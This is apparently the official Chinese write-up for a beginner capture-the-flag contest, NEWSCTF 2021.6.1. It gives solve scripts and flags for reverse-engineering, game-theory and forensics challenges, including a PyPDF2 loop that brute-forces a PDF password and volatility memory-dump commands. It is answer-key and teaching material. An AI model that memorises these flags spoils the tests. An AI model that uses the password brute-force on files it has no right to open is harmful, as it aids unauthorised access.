NEWSCTF第二届--官方wp(2021.6.1萌新赛)

这篇博客详细记录了NEWSCTF 2021.6.1萌新赛的比赛题目,包括Reverse、博弈、Misc、Web、Pwn和Crypto等类别,涵盖了一系列解题思路和技巧。参赛者通过反编译、动态调试、博弈论分析、密码学解密等方式解决各种挑战,最终获取flag。博客还提供了部分解题代码和工具使用方法。
摘要由CSDN通过智能技术生成

未经同意不得对本次比赛题目二次开发或做任何商业用途

题目源码及部分wp汇总如下

链接:https://pan.baidu.com/s/1NSsaMS8aRgZ6U_jQNSzisQ
提取码:news

Reverse

1.2021.6.1萌新赛-re_signin

出题人:mumuzi
pyc反编译,uncompyle6 flag.pyc >flag.py
分析一下,就一个冒泡排序,然后当count==c[t]

C[t]呢是ord(flag)得到的,所以当count与ord(flag[i])相等的时候输出,根据描述count is times,结合那个flag.txt,可以知道就是将每行拿去冒泡排序并计算排序次数,就可以得到flag了。

修改一下反编译的脚本就可以了,本来就是签到题:

flag = open("flag.txt","r").readlines()
rflag = ""
for n in range(len(flag)):
  nums = flag[n][1:-2]
  nums = list(nums.split(","))
  print(nums)
  count = 0
  for i in range(len(nums) - 1):
    for j in range(len(nums) - i - 1):
      if int(nums[j]) > int(nums[j + 1]):
        (nums[j]), (nums[j + 1]) = (nums[j + 1]), (nums[j])
        count += 1
  rflag += chr(count)
print(rflag)

跑出来是synt{jrypbzr_gb_arjfpgs

Rot13一下

补上最后的}

flag{welcome_to_newsctf}

2.2021.6.1萌新赛-1+1的签到题

出题人:shangu

首先查壳:

ELF文件,属于linux系统。加了一层UPX壳。

使用脱壳工具脱壳:

IDA64打开进行静态分析:

根据题目描述里的没有写完但可以运行编译可以知道,是主函数没有写完,所以要把每一个函数都看一

遍捋清楚整个程序的脉络。

定位到这里,F5查看伪代码:

在youarefast中启用了随机数种子,可以看出flag就是输入的 a1 ,并且要满足

v2 ^ (signed int)a1 ^ 0x6F7566696E646D65LL ^ 0x279ADBADE05787BFLL = v4

这里考察了对伪随机数的理解程度。伪随机数在不同语言和系统中产生的随机数都有差别,elf属于

linux,所以在linux系统下用c语言编写代码:

#include <stdio.h> 

\#include <stdlib.h> 

int main() 

{

int a=0,b=0; 

srand(0x535F4D72); 

a=rand(); 

b=rand(); 

printf("%d %d",a,b); 

}

运行出来的结果是这两个数:198469000 395774304

分别是v2 和 v3 ,伪代码中v3还要在进行一次平方,用python写一个解题代码:

#v1 ^ a1 ^ 0x235FFFA864LL ^ 0x67B7940F53LL == 20 * rand() 

a1 = 20 * 395774304 ^ 0x67B7940F53 ^ 0x235FFFA864 ^ 198469000 

print(hex(a1)) 

**** 

0x453473793f 

****

题目有提示flag是str,十六进制转成字符串:

E4sy?

得到了flag中的一段。现在还不清楚是哪一部分。继续逆其他函数;

非常明显,是base64的表,找到函数F5查看伪代码:

这里有很多细节需要注意,很明显是base64加密算法,但是仔细看表并不是刚刚字符串窗口中的,而是

v7 。

我们继续检查 v7 ,调用了一个函数,传递的参数提示为我们得到的flag;

和base64很像,根据 %58可以知道是base58,或者复制一段伪代码百度就可以找到。

找到加密表;

编写解密脚本:

def b58decode(tmp:str) -> str: 

	import binascii 

	base58 = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789" 

	temp = [] 

	for i in tmp: 

		temp.append(base58.index(i)) 

	tmp = temp[0] 

	for i in range(len(temp)-1): 

		tmp = tmp * 58 + temp[i+1] 

	return binascii.unhexlify(hex(tmp)[2:].encode("utf-8")).decode("UTF-8") 

print(b58decode("BTqHGKfUP69n1YGCyv6GEch9GEeyXiGwHeP8sTJT4V3jFab2AgMyF6noE48Sb6kp2VSg4Xi9Ak6cNBUJMVkMBemp")) 

***** 

ABCDEFGHIJKMNLOPRSTUVQWYXZabefghicdjklmnopqtuvwrsxyz0123456789+\ 

***

得到经过变换的base64加密表;

再根据函数列表找到 secret 函数,里面存放的很明显就是密文;

此时我们得到了两个解密脚本和两段密文,试一下就出来了;

secret1:ZoJPRqxMfvzxNqu

用换表后的base58解密:_Up_t0_Y0u!

secret2:ITFDNG5nejSVfUFcfGssbjVcIR==

用换表后的base64解密:!!C0ngr4Tu1atl0n5!!

整理以后结果为:

flag{E4sy?_Up_t0_Y0u!!!C0ngr4Tu1atl0n5!!}

3.2021.6.1萌新赛-开门啊-1

出题人: tomPeter15

flag为ASCII可显示字符

01.反编译查看 java 代码

在这里插入图片描述

02.查看 g.o 的来源

在这里插入图片描述

**03.**查看函数 a 使用的地方

在这里插入图片描述

**04.**分析算法

在这里插入图片描述

那么 g.o 的值为累加的值,为 1+2+3+4+5 为 15

每次点击加密.

字符内容 +1 +2 +3 +4 +5

**05.**流程

1.用户输入字符

2.每个字符加 15

3.每个字符异或上 15

4.比较结果

5.显示 right

06.解密

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hf0hLXdX-1622687827535)(C:\Users\xluo\AppData\Roaming\Typora\typora-user-images\image-20210603103410591.png)]

**07.**答案:

flag{16498356746434}

4.2021.6.1萌新赛-开门啊-2

出题人: tomPeter15

flag为ASCII可显示字符

\01.运行程序

\02.直接看JAVA的反汇编

\03.SO层分析 第一个值的分析

gV3的值

我们 先获取到 gV1 的值.

gV1是.";996731O332221RYUQO",0 异或一个值.

输入的第一个的值,就是.

45464789433211

\04.用户输入第二个值获取

\05.动态调试

接下来,我们输入正确的 字符1 45464789433211

然后动态调试 so 文件 在 tom2 下断

我们单步骤,可以把所有的值都获取到.

第一个是4.

0x52 ^0x34 = ‘f’ 得到第一个值 f

这个是flag 的第一个字母

这些循环调试下去,就可以得到所有的值.

flag{756912374567645}

\06.答案:

Value1: 45464789433211

Value2: flag{756912374567645}

5.2021.6.1萌新赛-Qsay

出题人:Qfrost

exp.cpp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define u8 unsigned char
#define u32 unsigned long



const u32 TBL_SYS_PARAMS[4] = {
	0xa3b1bac6,
	0x56aa3350,
	0x677d9197,
	0xb27022dc
};

const u32 TBL_FIX_PARAMS[32] = {

	0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
	0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
	0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
	0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
	0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
	0x30373e45,0x4c535a61,0x686f787d,0x848b9299,
	0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
	0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};

const u8 TBL_SBOX[256] = {

	0xC6,0x90,0xe9,0xfe,0xcc,0xe1,0x3F,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
	0x2b,0x67,0x9a,0x76,0x2C,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
	0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
	0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
	0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
	0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
	0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
	0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
	0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
	0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
	0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
	0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
	0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
	0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
	0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
	0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};

void four_uCh2uLong(u8* in, u32* out)
{
	int i = 0;
	*out = 0;
	for (i = 0; i < 4; i++)
		*out = ((u32)in[i] << (24 - i * 8)) ^ *out;
}

void uLong2four_uCh(u32 in, u8* out)
{
	int i = 0;
	for (i = 0; i < 4; i++)
		*(out + i) = (u32)(in >> (24 - i * 8));
}

u32 move(u32 data, int length)
{
	u32 result = 0;
	result = (data << length) ^ (data >> (32 - length));

	return result;
}

u32 func_key(u32 input)
{
	int i = 0;
	u32 ulTmp = 0;
	u8 ucIndexList[4] = { 0 };
	u8 ucSboxValueList[4] = { 0 };
	uLong2four_uCh(input, ucIndexList);
	for (i = 0; i < 4; i++)
	{
		ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
	}
	four_uCh2uLong(ucSboxValueList, &ulTmp);
	ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23);

	return ulTmp;
}

u32 func_data(u32 input)
{
	int i = 0;
	u32 ulTmp = 0;
	u8 ucIndexList[4] = { 0 };
	u8 ucSboxValueList[4] = { 0 };
	uLong2four_uCh(input, ucIndexList);
	for (i = 0; i < 4; i++)
	{
		ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
	}
	four_uCh2uLong(ucSboxValueList, &ulTmp);
	ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24);

	return ulTmp;
}



void Decrypto(int len, u8* key, u8* input, u8* output)
{
	int i = 0, j = 0;
	u32 ulKeyTmpList[4] = { 0 };
	u32 ulKeyList[36] = { 0 };
	u32 ulDataList[36] = { 0 }; 
	len = 16 * (len / 16) + 16 * ((len % 16) ? 1 : 0);


	/*寮€濮嬬敓鎴愬瓙绉橀挜*/
	four_uCh2uLong(key, &(ulKeyTmpList[0]));
	four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
	four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
	four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

	ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
	ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
	ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
	ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

	for (i = 0; i < 32; i++) 
	{
		ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
	}

	for (j = 0; j < len / 16; j++) 
	{
		four_uCh2uLong(input + 16 * j, &(ulDataList[0]));
		four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1]));
		four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2]));
		four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3]));

		for (i = 0; i < 32; i++)
		{
			ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i]);
		}
		uLong2four_uCh(ulDataList[35], output + 16 * j);
		uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
		uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
		uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
	}
}

void print_hex(u8* data, int len)
{
	int i = 0;
	char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };
	for (i = 0; i < len; i++)
	{
		printf("%c", alTmp[data[i] / 16]);
		printf("%c", alTmp[data[i] % 16]);
		putchar(' ');
	}
	putchar('\n');
}



int main() {

    u8 key[] = {0x4D, 0x4C, 0x7B, 0x4F, 0xAB, 0x6B, 0x78, 0x09, 0xE6, 0x27, 0xFA, 0x9D, 0xA6, 0xC6, 0x4E, 0x8A};
    u8 input[] = {0xAF, 0xD3, 0xD5, 0x71, 0x1F, 0xC6, 0xA3, 0x42, 0xC5, 0x64, 0x53, 0x2E, 0xFE, 0x13, 0xF1, 0xA3,
                    0x0F, 0x96, 0x0A, 0x0B, 0x1D, 0x3D, 0x83, 0x33, 0x2A, 0x4B, 0x71, 0x98, 0x10, 0xFF, 0x70, 0x43    };
    u8 output[64] = {0};
    Decrypto(32, key, input, output);
    for(int i=0;i<32;++i)
        printf("%c", output[i]);
    return 0;
}

博弈

1.2021.6.1萌新赛-1简单的博弈魔法

出题人:Devour

此题是sg函数的入门题,子树的SG函数等于其子树的SG的nim和+1,最后检验根节点的子树们的nim和即可。

2.2021.6.1萌新赛-2黑猫的博弈游戏

出题人:Devour

黑猫博弈是一个trick ,由于先手无论做什么,1总是会被摘取,那么先手如果面对的是必胜态,那么就必胜,如果面对的失败态,他可以巧妙地把1摘取,然后把这个必败态转移给对方,从而让自己立于不败之地。

3.2021.6.1萌新赛-3白猫的数学游戏

出题人:Devour

结论:当N等于P或者P*2的时候,答案为-1(即为N-1),其余时候互质数乘积和为1.这冷门结论的证明网上有,也可以暴力用数学归纳法证明。

4.2021.6.1萌新赛-4青铜君王的超新星博弈

出题人:Devour

超新星博弈每一次合法翻转操作应该保证右下角为激活状态。即翻转(x1,y1)(x2,y1,)(x1,y2)(x2,y2),(x1<=x2)(y2<=y1),应保证(x2,y2)为亮着

二维sg函数,这类组合博弈问题在 神牛曹钦翔的论文:从“k倍动态减法游戏”出发探究一类组合游戏问题“有说到。

如果只有一行,即n=0,每一枚向上硬币可以被理解成一个单独的游戏,于是游戏似乎就变成这些单独游戏的“和”,因为翻两枚硬币可以理解成把“坐标大”的正面硬币移到了坐标小的位置。唯一一点区别是,同时翻两枚正面向上的硬币,就相当于坐标小的被坐标大的硬币“消掉”了。这其实与游戏“和”模型是不矛盾的,因为两个相同位置的正面硬币的SG 函数值必相同,因此他们的Nim 和为0,所以等于“没有”。
回到原来问题,显然问题也归结为若干个单独游戏的和——若干个单独的证面向上的硬币。在只包含一行的游戏中,一颗正面向上的硬币的SG 函数就是它的列坐标。

每枚正面向上的硬币可以理解成一个独立的简单游戏,而在这个游戏中,每次操作能加一个简单游戏拆分成3 个游戏的“和”。这是游戏“和”的嵌套。

这是这个题目的分析,具体的NIM积的运算以及性质 在论文里面也有详解,请参考

Misc

1.2021.6.1萌新赛-very-ez-dump

出题人:mumuzi

一道简单普通的内存取证题,按照常规方法就可以了。

首先放进kali,用volatility

volatility -f mem.raw imageinfo

Win7SP1x64

然后pslist看看

volatility -f mem.raw --profile=Win7SP1x64 pslist

发现cmd当时正在运行(因为后面是1)

搜一下flag

volatility -f mem.raw --profile=Win7SP1x64 filescan |grep flag

Dump出来

volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003e4b2070 -D ./

使用(ljmmz)ovo来解压

flag{ez_di_imp_1t_y0u_like?}

2.2021.6.1萌新赛-sign in

出题人:haisen

首先打开是一个加密的pdf文件

我们可以用python PyPD2 来破解密码首先猜一波数字

pdf.py

import  PyPDF2
def decrypt(old_Path):
    with open(old_Path, 'rb') as pdfFile:
        pdfReader = PyPDF2.PdfFileReader(pdfFile)
        pdfWriter = PyPDF2.PdfFileWriter()
        if pdfReader.isEncrypted:
            for i in range(0,10000000):
                pwd=str(i).zfill(4)
                print(pwd)
                if pdfReader.decrypt(pwd):
                    for pageNum in range(pdfReader.numPages):
                        pdfWriter.addPage(pdfReader.getPage(pageNum))
                        print('密码成功了'+pwd)
                        exit()
                        break
decrypt('flag_encrypy.pdf')

得到密码661123

得到flag 当然也可以百度破解pdf密码的方法 比如pdfcrack

3.2021.6.1萌新赛-!了反都,了反

izumum:人题出

得到piz.galf

根据名字

piz.galf改成flag.zip

解压得到一个流量包

用wireshark打开

直接搜flag都是垃圾数据,查看导出列表

可以发现接收过一个zip(piz)

导出并命名为flag.zip

打开报错

Winhex查看

发现是反过来的rar

用脚本把它正过来,把zip改成flag.rar

f3 = open("flag.rar","rb").read()
f4 = open("flag1.rar","wb")
f4.write(f3[::-1])

打开

现在要去流量包中找登录密码

输入 tcp contains “login”(英文双引号)

分析发现,这里在登录后进入到了主页,这里有两三个POST,都尝试之后发现密码是passwd123

解压得到flag.txt

是反过来的txt,再写脚本

f1 = open("flag.txt",'r').readlines()
f2 = open("flag1.txt",'w')

for i in range(len(f1)):
  f2.write(f1[i][::-1])

得到flag1.txt,打开发现是base64隐写

百度都有脚本!!!你说简不简单,很简单。

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())

        offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum = stegb64.count('=')

        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)

        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) 

Flag{md5(0)}

flag{cfcd208495d565ef66e7dff9f98764da}

4.2021.6.1萌新赛-happy六一

出题人:haisen

得到题目附件

那就先画个图,用yafu工具分解因式,老画图了 直接贴脚本

from PIL import Image
f= open('draw起来.md',encoding='utf-8')

image=Image.new('RGB',(311,383))

s= f.read()
count=0
for  width in range(311):
    for height in range(383):
        if(s[count]=='六'):
            image.putpixel((width,height),(0,0,0))
        else:
            image.putpixel((width,height),(255,255,255))
        count +=1
image.show()

看上去并没什么用坑人了,继续找 用winhex打开发现一串01

转化得到pwd is 123456

还有一个crypto文件 使用工具Encrypto打开需要 密码 输入上面得到的发现不对,那么再继续找先用一些带密码的隐写方法尝试,

stegpy key.png -p

最终在stegy 工具下得到fERASmxgfD82SQ==

根据特征base64解密得到

|D@Jl`|?6I

base91 解密得到

happy6.1

说实话这密码还是听话猜的
那么解密 得到flag.txt

Snow 隐写 得到flag

5.2021.6.1萌新赛-Peltate

出题人:cheyenne

题目名称:Peltate

附件:flag.png

flag:NEWSCTF{A_Stego_a_day_makes_taoshen_AWAY}

解题过程:

from PIL import Image

def splitcol(img, col):
    if isinstance(col, int):
        col = [col]
    w, h = img.size
    new = Image.new('1', img.size, 0)
    for x in range(w):
        for y in range(h):
            p = img.getpixel((x, y))
            if p in col:
                new.putpixel((x, y), 255)
    return new

img = Image.open('C:/Users/Administrator/Desktop/Peltate/flag.png')
for i in range(256):
    splitcol(img, i).save('C:/Users/Administrator/Desktop/Peltate/out/' + str(i) + '.png')

查看输出结果,除了0和1是可见文字及可以通过Stegsolve的Random Colour Map功能可以看到的fake_flag,其他都是均匀分布在背景上的噪点,仅有212-219很明显偏向一边且排成了几行。

img = Image.open('C:/Users/Administrator/Desktop/Peltate/flag.png')
# for i in range(256):
#     splitcol(img, i).save('C:/Users/Administrator/Desktop/Peltate/out/' + str(i) + '.png')
splitcol(img, range(212, 220)).save('C:/Users/Administrator/Desktop/Peltate/out.png')

得到flag。

6.2021.6.1萌新赛-base64 … or base56?

出题人:cheyenne

题目名:base64 … or base56?

附件:txt

flag:NEWSCTF{So_wh0_1s_th3_God_of_Matryoshka}

解题过程:

拿到手的是一段很明显的base64编码,但解码后得到的是大量不可打印字符。关键点就在这里,这其实是一段以7-bit ASCII码形式储存的文本,在8-bit模式下必然无法识别。但如果以二进制形式查看,就能发现每7位转码均可以得到可识别的结果。题目中的56作为提示,实际上是指密文经过了两重变换,先将长度缩减到了原本的7/8,然后再进行base64编码。解码脚本如下(不唯一):

import base64
from Crypto.Util.number import bytes_to_long

s = open('C:/Users/Administrator/Desktop/base56/txt').read().encode()
s = base64.b64decode(s)

r = ''
for i in range(0, len(s), 7):
    t = bytes_to_long(s[i:i+7])
    t = bin(t)[2:].zfill(56)
    for j in range(0, 56, 7):
        r += chr(int(t[j:j+7], 2))
print(r)

7.2021.6.1萌新赛-包

出题人:cheyenne

题目名称:包

附件内容:flag.png

flag:newsctf{鸡包包鸡包包鸡包纸包纸包鸡包包鸡纸包鸡包纸包鸡}

题目内容:群主说让我出个难一点的题,但我觉得做人不能太套神mumuzi,因此本题郑重承诺不使用任何密钥和解压密码,郑重承诺仅在需要减小文件体积时使用压缩软件,郑重承诺没有任何关键信息需要猜测和爆破,郑重承诺出题过程只使用纯天然Python3,不添加任何奇怪的工具软件。

解题过程:

开局给出一张8-bit的QR码,随便用什么办法,总之解码得到一个压缩包,解压得到16张bmp图片:

拼一下:

from PIL import Image

out = Image.new('1', (104, 104), 255)
for i in range(16):
    tmp = Image.open(f'C:/Users/Administrator/Desktop/包/flag/flag-{str(i)}.bmp')
    x, y = i % 4 * 26, i // 4 * 26
    out.paste(tmp, (x, y))
out.save('C:/Users/Administrator/Desktop/包/flag/flag.png')

然后不管用什么方法,总之扫一下得到:

UEsDBBQAAAAIAIlRuVJjzCpL/gEAACoKAAALAAAAYmZfb3V0Mi50eHTdVVuOwyAMPBAChVcCUtSLrHr/a6wHCsam3a/9qlSh+oHtGdukmB/7KOZ+PvxpXLbu7hp7P+lwxt0JcoLH+E82OqIrxhW6UKGscIjGnaTwBzR0kuoyLFu4wB6aHGAPhxkRLEQyX5AuGClBxn3f/L1tVdrV/6Iy+AJVMSQYCU2ywd0Rmgi7GQLMdFWU6oJxlxWAiRLBCJIzY2RN9FOIt4oRM0POEOsqgZS1pDyNHf7qSlGbQCcuFgFVpgyHYtlXs8IIE0Zv0VbRCfHsGAchvcGzCjgjHU2BwI+MXM0rG+4tk3boKxWK2BTRNoUGEJegirhGuo6o524inpd5anxaGSAXLqaNqEes1BSpTwGzoJMPVqKVujDH9m15gVnvnZfwF7F5e+Gt2I2zZdLY94VpHK3g0E2hPArf3+d1nf0PfdPxo9iwLGo9BZAsJhyRWVIoygzTQQo+dHs2PNyXU3fylHiozHXqtqFMItpl1G7vQ8/LTk/ntlxrNDrU/aiWJgrYg5Bh4UxVsByWsG/2vwpmg1yjIN6yc6M9b1tnxN6FKQ72eBjo+Lbvzcrr+N+CDhbla9zzXf/+keo+orK/CsjUNJFQLlvRLwqvbY8mrip24yR3H+BqVOConmFPqaei9fZS4auq7cuyf1q2V4OxHIlO/JNfH7/uAMqJMt2KZAzB/QtQSwECPwAUAAAACACJUblSY8wqS/4BAAAqCgAACwAkAAAAAAAAACAAAAAAAAAAYmZfb3V0Mi50eHQKACAAAAAAAAEAGAALPSRiC1HXAfsVJGILUdcB+xUkYgtR1wFQSwUGAAAAAAEAAQBdAAAAJwIAAAAA

解码一下:

echo UEsDBBQAAAAIAIlRuVJjzCpL/gEAACoKAAALAAAAYmZfb3V0Mi50eHTdVVuOwyAMPBAChVcCUtSLrHr/a6wHCsam3a/9qlSh+oHtGdukmB/7KOZ+PvxpXLbu7hp7P+lwxt0JcoLH+E82OqIrxhW6UKGscIjGnaTwBzR0kuoyLFu4wB6aHGAPhxkRLEQyX5AuGClBxn3f/L1tVdrV/6Iy+AJVMSQYCU2ywd0Rmgi7GQLMdFWU6oJxlxWAiRLBCJIzY2RN9FOIt4oRM0POEOsqgZS1pDyNHf7qSlGbQCcuFgFVpgyHYtlXs8IIE0Zv0VbRCfHsGAchvcGzCjgjHU2BwI+MXM0rG+4tk3boKxWK2BTRNoUGEJegirhGuo6o524inpd5anxaGSAXLqaNqEes1BSpTwGzoJMPVqKVujDH9m15gVnvnZfwF7F5e+Gt2I2zZdLY94VpHK3g0E2hPArf3+d1nf0PfdPxo9iwLGo9BZAsJhyRWVIoygzTQQo+dHs2PNyXU3fylHiozHXqtqFMItpl1G7vQ8/LTk/ntlxrNDrU/aiWJgrYg5Bh4UxVsByWsG/2vwpmg1yjIN6yc6M9b1tnxN6FKQ72eBjo+Lbvzcrr+N+CDhbla9zzXf/+keo+orK/CsjUNJFQLlvRLwqvbY8mrip24yR3H+BqVOConmFPqaei9fZS4auq7cuyf1q2V4OxHIlO/JNfH7/uAMqJMt2KZAzB/QtQSwECPwAUAAAACACJUblSY8wqS/4BAAAqCgAACwAkAAAAAAAAACAAAAAAAAAAYmZfb3V0Mi50eHQKACAAAAAAAAEAGAALPSRiC1HXAfsVJGILUdcB+xUkYgtR1wFQSwUGAAAAAAEAAQBdAAAAJwIAAAAA | base64 -d > 1

得到一个压缩包,解压得到文本:

8+[->8+<]>16+.5-.<8+[->8-<]>8-.+.<4+[->4+<]>.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-3.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10+<]>5+.<11+[->11-<]>17-.<5+[->5-<]>9-.<5+[->5-<]>10-.<3+[->3-<]>5-.<5+[->5+<]>8+.<5+[->5-<]>.<15+[->15+<]>18+.<7+[->7-<]>.<11+[->11-<]>20-.<12+[->12+<]>19+.<8+[->8-<]>2-.<8+[->8+<]>7+.<5+[->5-<]>10-.<6+[->6+<]>6+.<4+[->4+<]>3+.<15+[->15-<]>11-.8+.<10+[->10+<]>12+.<11+[->11-<]>2-.3+.<8+[->8+<]>10+.<10+[->10+<]>19+.<13+[->13-<]>19-.<12+[->12+<]>13+.<11+[->11-<]>10-.<3+[->3+<]>5+.<10+[->10+<]>17+.<10+[->10-<]>-.<8+[->8-<]>10-.<7+[->7+<]>14+.<5+[->5-<]>8-.<13+[->13+<]>21+.<14+[->14-<]>6-.<15+[->15+<]>5+.<10+[->10-<]>11-.3-.<10+[->10-<]>2-.<9+[->9+<]>17+.<10+[->10-<]>20-.<6+[->6+<]>8+.<12+[->12+<]>+.<12+[->12-<]>21-.<6+[->6+<]>3+.<8+[->8+<]>13+.<4+[->4+<]>3+.<8+[->8-<]>7-.<11+[->11+<]>10+.<12+[->12-<]>10-.<11+[->11+<]>8+.<8+[->8-<]>10-.<3+[->3-<]>4-.<10+[->10-<]>19-.<12+[->12+<]>13+.<12+[->12-<]>13-.<4+[->4+<]>5+.<4+[->4+<]>6+.<8+[->8+<]>5+.<7+[->7-<]>9-.<7+[->7-<]>.<11+[->11+<]>18+.<4+[->4-<]>7-.<8+[->8+<]>15+.<10+[->10-<]>.<8+[->8-<]>10-.<9+[->9+<]>6+.<10+[->10-<]>16-.<12+[->12+<]>4+.<3+[->3+<]>3+.<11+[->11-<]>14-.<9+[->9+<]>7+.<3+[->3-<]>5-.<10+[->10+<]>19+.<5+[->5+<]>+.6+.<15+[->15-<]>11-.<9+[->9+<]>9+.<10+[->10+<]>13+.<13+[->13-<]>3-.<8+[->8+<]>.<4+[->4-<]>3-.<5+[->5+<]>9+.<8+[->8+<]>2+.<10+[->10-<]>10-.<6+[->6+<]>9+.<4+[->4-<]>2-.<8+[->8-<]>12-.<5+[->5-<]>6-.<8+[->8+<]>15+.5-.<8+[->8-<]>10-.+.<7+[->7+<]>12+.<7+[->7-<]>14-.<4+[->4+<]>4+.<4+[->4-<]>4-3.8+.8-.<9+[->9+<]>3+.6-.<10+[->10+<]>7+.<10+[->10-<]>3-.<12+[->12+<]>20+.<9+[->9-<]>2-.<7+[->7+<]>8+.5+.<11+[->11-<]>16-.<9+[->9-<]>7-3.<7+[->7+<]>9+.<7+[->7-<]>5-.4-2.<3+[->3+<]>+.<3+[->3-<]>-.<6+[->6+<]>.<6+[->6-<]>7.<5+[->5+<]>7+.<5+[->5-<]>7-7.<10+[->10+<]>.2+.7-.<4+[->4+<]>.6+.-.<8+[->8-<]>6-.<8+[->8+<]>6+.4+.4-.<10+[->10-<]>6-.<3+[->3-<]>-.<5+[->5+<]>7+.<5+[->5-<]>7-5.+.-.<4+[->4+<]>8+.<4+[->4-<]>8-.<11+[->11+<]>15+.<7+[->7+<]>7+.<4+[->4+<]>8+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<14+[->14+<]>27+.<11+[->11-<]>9-.<11+[->11+<]>+.<11+[->11-<]>3-.<9+[->9-<]>3-.<8+[->8+<]>9+.<11+[->11+<]>13+.<14+[->14-<]>18-.<8+[->8+<]>15+.5-.<8+[->8-<]>6-.+.6-4.+.-.+.-.<9+[->9+<]>11+.<9+[->9-<]>11-3.<11+[->11+<]>7+.<11+[->11-<]>7-5.<

